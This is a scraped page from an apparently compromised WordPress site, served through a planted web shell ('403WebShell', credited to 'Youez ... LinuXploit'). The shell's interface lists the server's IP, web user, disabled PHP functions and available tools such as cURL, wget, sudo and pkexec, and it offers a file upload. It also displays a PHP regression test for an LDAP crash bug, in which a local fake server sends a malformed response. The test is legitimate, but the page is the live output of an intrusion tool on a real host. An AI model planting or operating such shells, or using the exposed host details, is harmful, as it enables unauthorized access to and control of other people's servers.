WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.

Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data

403WebShell403Webshell

Server IP : 202.131.237.196 / Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /www/server/php/72/src/ext/ldap/tests/

Upload File :

[ Back ]

Current File : /www/server/php/72/src/ext/ldap/tests/bug76248.phpt

--TEST--
Bug #76248 (Malicious LDAP-Server Response causes Crash)
--SKIPIF--
<?php
require_once('skipif.inc');
if (!function_exists('pcntl_fork')) die('skip fork not available');
?>
--FILE--
<?php
$pid = pcntl_fork();
const PORT = 12345;
if ($pid == 0) {
	// child
    $server = stream_socket_server("tcp://127.0.0.1:12345");
	$socket = stream_socket_accept($server, 3);
	fwrite($socket, base64_decode("MAwCAQFhBwoBAAQABAAweQIBAmR0BJljbj1yb290LGRjPWV4YW1wbGUsZGM9Y29tMFcwIwQLb2JqZWN0Q2xhc3MxFAQSb3JnYW5pemF0aW9uYWxSb2xlMAwEAmNuMQYEBHJvb3QwIgQLZGVzY3JpcHRpb24xEwQRRGlyZWN0b3J5IE1hbmFnZXIwDAIBAmUHCgEABAAEADB5AgEDZHQEmWNuPXJvb3QsZGM9ZXhhbXBsZSxkYz1jb20wVzAjBAtvYmplY3RDbGFzczEUBBJvcmdhbml6YXRpb25hbFJvbGUwDAQCY24xBgQEcm9vdDAiBAtkZXNjcmlwdGlvbjETBBFEaXJlY3RvcnkgTWFuYWdlcjAMAgEDZQcKAQAEAAQA"));
	fflush($socket);
} else {
	// parent
	$ds = ldap_connect("127.0.0.1", PORT);
	ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
	$b = ldap_bind($ds, "cn=root,dc=example,dc=com", "secret");

	$s = ldap_search($ds, "dc=example,dc=com", "(cn=root)");
	$tt = ldap_get_entries($ds, $s);
	var_dump($tt);
}
?>
--EXPECT--
array(2) {
  ["count"]=>
  int(1)
  [0]=>
  array(2) {
    ["count"]=>
    int(0)
    ["dn"]=>
    NULL
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit